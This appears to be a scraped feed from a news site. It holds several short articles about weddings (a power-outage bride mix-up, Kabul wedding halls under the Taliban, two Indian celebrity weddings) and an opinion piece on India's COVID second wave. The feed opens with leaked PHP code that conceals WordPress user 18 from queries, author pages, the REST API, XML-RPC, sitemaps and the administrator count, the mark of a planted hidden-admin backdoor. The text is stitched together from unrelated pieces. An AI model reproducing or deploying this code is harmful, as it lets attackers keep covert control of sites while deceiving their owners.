add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post After a power outage during the wedding ceremony, the bride marries her sister’s fiancé appeared first on The Edge Media.
]]>
There was a power outage during the ceremony, and because the sisters were dressed similarly and wore veils, there was a mix-up. Nikita married the groom who was supposed to marry Karishma, while Karishma married Nikita’s groom. However, no one noticed the difference until after the ceremony.
The mix-up was discovered after the grooms returned home with their brides. There was a momentary disagreement, but the families quickly came to an agreement. The brides and grooms made plans to execute the wedding ceremony again the next day, this time with the appropriate partners.
The post After a power outage during the wedding ceremony, the bride marries her sister’s fiancé appeared first on The Edge Media.
]]>The post Music is not banned in Kabul wedding halls appeared first on The Edge Media.
]]>According to reception hall’s manager, Shadab Azimi, 26, at least seven wedding parties have been held since the Taliban takeover of Kabul two weeks earlier, with festivities moved to daylight hours because of security concerns.
The Taliban, who during their previous rule between 1996-2001 had banned most music, except for devotional Islamic songs, did not announce a ban of live music, Azimi said. However, wedding singers canceled on their own, for fear of running afoul of possible new Taliban restrictions.
He said in recent celebrations, couples played taped music. Azimi said business was down by 80% over the past two weeks, presumably because of a sense of uncertainty.
The manager said Taliban patrols check in a couple of times a day, asking if he needs help with security, but have not seemed threatening. And unlike the security forces under the deposed government, the Taliban have not demanded bribes, he said.
“Former officials, including police officers, were asking us for money and we were forced to host their friends for lunches and dinners,” he said.
Even before the Taliban takeover, wedding parties were traditionally been segregated, with men and women celebrating in different spaces.
The post Music is not banned in Kabul wedding halls appeared first on The Edge Media.
]]>The post Rhea kapoor took it to instagram that she wore jewellery designed by mom sunita appeared first on The Edge Media.
]]>Rhea’s go-to person for her accessories was mom Sunita Kapor, who is a jewelry designer. Rhea Kapoor accentuated her look with a pearl veil. She wrote in her caption: “On my most vulnerable day thank you for taking care of me. My Chanderi saree by Anamika Khanna. In my most non-judgmental, patient friend. My jewels by my mom my everything Sunita Kapoor. The Pearl veil, vintage by Birdhichand Ghanshyamdas. Beauty by my rock Namrata Soni. Pictures by my angels House of Pixels.”
The post Rhea kapoor took it to instagram that she wore jewellery designed by mom sunita appeared first on The Edge Media.
]]>The post Fans are loving Rahul Vaidya and Disha Parmar’s wedding pictures appeared first on The Edge Media.
]]>
The photos show Rahul Vaidya dressed in a white sherwani and a golden safa with a large necklace. Disha Parmar chose a bright pink lehenga for her wedding. She also wore golden jewellery and golden kaleera on her wrists.
Videos from the wedding show the couple on a stage, surrounded by their friends and family on all sides. As they exchanged their wedding rings, their guests showered the couple with rose petals. The two also shared a hug and some laughter on stage.
See the video here –
https://www.instagram.com/p/CRYXbIxJBVv/?utm_medium=copy_link
Fan clubs also found pictures of Disha as she got decked up for her wedding. She wore a large nosepin, pink lipstick and a tiny bindi on her forehead.


Aly Goni, who was Rahul’s co-contestant on Bigg Boss 14, also wished him on his wedding with a picture from the function. Sharing a photo with Rahul, he wrote, “Aaj mere yaar ki shaadi hai (It’s my friend’s wedding today) #thedishulwedding #raly #alygoni.” Aly was seen in a floral sherwani and a pink safa.
Rahul and Disha have been dating for a few year and he proposed to her during an episode of Bigg Boss. After months of speculation, Disha finally arrived on the show and accepted his proposal.
The post Fans are loving Rahul Vaidya and Disha Parmar’s wedding pictures appeared first on The Edge Media.
]]>The post Negligence, election and wedding-party feast on second wave, how will situation improve? appeared first on The Edge Media.
]]>Looking at the current situation, it can also be said that as a country we may not have learned much from the experience of the last one year. Had it been learned, such an odd situation would not have arisen today.
People stopped following rescue measures after the first wave weakened in the country. This is also the biggest reason for the second wave. The government started opening everything up.
This made things the same as before Corona. People stopped taking precautions. Due to this, a large part of the population began to fall prey to this disease.
States also delayed curbing people due to which the health system continued to collapse due to increasing cases of infection. In such a situation, once again the government had to implement lockdown in many places, which is causing even more damage to the economy.
Negligence towards rescue measures started at the central government level. Then all political groups and common people started careless. Schools and colleges began to open up without the entire staff being vaccinated.
Restrictions should have been strictly enforced wherever there were cases of infection, but no political party wanted to do so because of the election.
The plan to hold elections during the corona epidemic should also have been planned carefully. However, this did not happen. Here, Kumbh was organized in Uttarakhand, due to which the corona exploded.
The time has come for us to learn a lesson from this period. Unite as an individual and as a society, come forward to protect humanity.
Just like the last time every person from the voluntary organizations of the country to the street mohallas and villages had become a warrior, this time too, the same spirit will have to be brought to defeat Corona. Only then will we be able to win the battle against Corona.
Scientists believe that the new variants of Corona, negligence against epidemic prevention measures, elections, religious events and ceremonies are the main causes of the second wave.
With the arrival of 3 lakh 49 thousand 691 new cases of corona virus infection in India in a day, the total cases of covid-19 increased to 1 crore 69 lakh 60 thousand 172.
Experts say that the second wave is more powerful than the first. Experts say many things are responsible for the second wave of Corona. These include things like not following the covid-19 protocol, low interest in getting vaccinated and sluggish pace of vaccination.
The post Negligence, election and wedding-party feast on second wave, how will situation improve? appeared first on The Edge Media.
]]>